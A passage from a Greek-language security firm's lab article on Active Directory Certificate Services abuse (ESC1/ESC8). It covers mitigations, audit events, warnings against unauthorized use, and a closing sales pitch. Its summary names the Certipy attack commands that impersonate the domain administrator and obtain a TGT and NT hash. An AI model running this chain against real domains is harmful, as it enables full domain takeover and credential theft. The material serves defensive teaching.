ENROLLEE_SUPPLIES_SUBJECTσε κάθε template με Client Authentication EKU. Το SAN πρέπει να το ορίζει η CA από το AD object, όχι ο αιτών. - Περιορίστε τα Enrollment Rights: κανένα ευαίσθητο template δεν πρέπει να είναι enrollable από
Domain Users/Authenticated Users. Χρησιμοποιήστε στοχευμένες ομάδες. - Επιβάλετε manager approval (
CT_FLAG_PEND_ALL_REQUESTS) στα ευαίσθητα templates, ώστε κάθε έκδοση να περνά από ανθρώπινη έγκριση. - Σε επίπεδο CA, αφαιρέστε το flag
EDITF_ATTRIBUTESUBJECTALTNAME2(αυτό είναι το ESC6, που κάνει κάθε template ευάλωτο σε user-supplied SAN):certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2και restart της υπηρεσίας CertSvc.
2. Ενάντια στο ESC8 (web enrollment relay).
- Απενεργοποιήστε το HTTP web enrollment αν δεν το χρειάζεστε. Είναι η πιο καθαρή λύση.
- Αν το χρειάζεστε, επιβάλετε HTTPS με EPA (Extended Protection for Authentication) και απενεργοποιήστε το NTLM στο endpoint — τότε το relay γίνεται ανέφικτο.
- Ενεργοποιήστε SMB signing / LDAP channel binding και μειώστε τις πηγές coercion (patch PetitPotam/PrinterBug, περιορίστε RPC).
3. Ενάντια στο certificate impersonation & PKINIT (T1649).
- Επιβάλετε strong certificate mapping (KB5014754): απαιτήστε το SID στο certificate και θέστε τους DCs σε Full Enforcement mode. Έτσι, ένα certificate χωρίς έγκυρο SID mapping απορρίπτεται.
- Audit certificate issuance: παρακολουθήστε τα Events 4886/4887 στην CA (certificate requested/issued) και συσχετίστε με το ποιος ζήτησε τι — ειδικά requests όπου το SAN δεν ταιριάζει με τον αιτούντα.
- Παρακολουθήστε το Event 4768 (Kerberos AS-REQ) με certificate-based pre-auth (PKINIT) για λογαριασμούς υψηλών προνομίων.
4. Οριζόντια μέτρα που ενισχύουν όλη την αλυσίδα.
- Tiering (Tier 0/1/2) και Privileged Access Workstations: η CA είναι υποδομή Tier 0 — αντιμετωπίστε την σαν Domain Controller.
- Τακτικό, τεκμηριωμένο audit του AD CS — τρέξτε εσείς πρώτοι το
certipy find -vulnerable: αν βλέπετε ESC1/ESC8, τα βλέπει και ο επιτιθέμενος. Εδώ ακριβώς εντάσσεται το continuous exposure management.
Πότε δεν πρέπει να χρησιμοποιηθεί {#pote-oxi}
Οι τεχνικές αυτού του άρθρου είναι επιθετικές και, εκτός αυστηρά ελεγχόμενου πλαισίου, παράνομες. Δεν πρέπει ποτέ να εκτελεστούν:
- Σε παραγωγική CA / domain χωρίς ρητή, γραπτή εξουσιοδότηση (scope, rules of engagement, χρονικό παράθυρο). Ένα λανθασμένο enrollment ή relay μπορεί να προκαλέσει έκδοση πιστοποιητικών, alerts ή διαταραχή της υπηρεσίας CertSvc.
- Σε domain τρίτου (πελάτη, συνεργάτη, παρόχου) χωρίς σύμβαση που να το καλύπτει ρητά.
- Ως «γρήγορο τεστ» από μη εξειδικευμένο προσωπικό: η CA είναι υποδομή Tier 0 και οι αλλαγές/δοκιμές μπορεί να έχουν εκτεταμένες συνέπειες.
Η σωστή θέση αυτών των τεχνικών είναι μέσα σε δομημένο penetration testing και adversary validation, με πλήρη τεκμηρίωση και αποκατάσταση.
Σύνοψη {#synopsi}
Δείξαμε, με πραγματικά και επαληθεύσιμα δεδομένα όπου ήταν εφικτό, πώς μια σειρά από «διαχειρίσιμες» λανθασμένες ρυθμίσεις στο AD CS αλυσιδώνονται σε πλήρη κατάληψη ενός Active Directory domain: certipy find για τον εντοπισμό του ευάλωτου template (ESC1) και του web enrollment (ESC8), κατανόηση των ακριβών κριτηρίων, certipy req -upn administrator για την αίτηση ενός certificate που πλαστοπροσωπεί τον Domain Admin, πραγματική απόδειξη (forge + openssl) ότι το UPN/SID του Administrator βρίσκεται μέσα στο certificate, και τέλος certipy auth (PKINIT) για TGT και NT hash — φτάνοντας σε Domain Admin.
Το κεντρικό δίδαγμα για κάθε οργανισμό: η CA σας είναι Domain Controller. Ένα λάθος ρυθμισμένο certificate template είναι, στην πράξη, ένα «κλειδί που εκδίδει κλειδιά». Ο μόνος τρόπος να ξέρετε ότι η υποδομή AD CS σας δεν κρύβει ένα ESC1/ESC8 είναι να την κοιτάξετε όπως ο επιτιθέμενος — με certipy find, με πραγματική εκτέλεση, και με συνεχή επικύρωση ότι οι άμυνες που περιγράψαμε πράγματι ισχύουν.
Από το εργαστήριο, στο δικό σας περιβάλλον {#cta}
Αυτό το εργαστήριο έδειξε την αλυσίδα σε ένα ελεγχόμενο, self-owned domain. Στον πραγματικό κόσμο, η ίδια αλυσίδα — ESC1/ESC8 abuse με Certipy και PKINIT — είναι σήμερα ένας από τους πιο συχνούς και πιο «καθαρούς» δρόμους προς την κατάληψη ενός οργανισμού. Το ερώτημα δεν είναι αν το AD CS σας έχει ένα τέτοιο μονοπάτι, αλλά πόσα και πόσο σύντομα μπορούν να τα βρουν.
Η Audax Cybersecurity εκτελεί δομημένο penetration testing, adversary validation και συνεχή χαρτογράφηση της επιφάνειας επίθεσης, ώστε να εντοπίζετε και να κλείνετε αυτά τα μονοπάτια πριν τα βρει κάποιος άλλος. Μέσα από το Erevos AI, την ετήσια managed υπηρεσία Continuous Threat Exposure Management (CTEM), μετατρέπουμε την offensive γνώση σε συνεχή, τεκμηριωμένη απόδειξη ανθεκτικότητας — με άμεση αξιοποίηση για τη συμμόρφωση σε NIS2 & DORA.
Human-led. Machine-scaled. Technically proven.
Αν θέλετε να αξιολογήσετε την πραγματική ανθεκτικότητα του Active Directory και του AD CS σας απέναντι σε σύγχρονες τεχνικές επίθεσης, επισκεφθείτε το https://www.audax.gr και μιλήστε με την ομάδα μας για adversary validation, continuous exposure management και υποστήριξη συμμόρφωσης NIS2 / DORA.
Θέλετε συνεχή επικύρωση της ασφάλειάς σας — όχι έλεγχο μία φορά τον χρόνο;
Το Continuous Exposure Management της Audax ενοποιεί attack surface discovery, attack surface testing και παρακολούθηση αναδυόμενων απειλών σε έναν συνεχή, αποδεικτικό κύκλο — εκτελούμενο από τους certified offensive operators μας. Human-led. Technically proven. Ευθυγραμμισμένο με NIS2 & DORA.
Δείτε το Continuous Exposure Management →Χρειάζεστε Penetration Testing για τον οργανισμό σας;
Περιγράψτε το scope του ελέγχου μέσα από το δομημένο ερωτηματολόγιο και λάβετε εξατομικευμένη τεχνική & οικονομική προσφορά από την ομάδα Offensive Security της Audax. Χωρίς αυτόματη τιμή ή δέσμευση — η προσφορά αποστέλλεται μετά από τεχνική αξιολόγηση του scope.
Ζητήστε προσφορά Penetration Testing →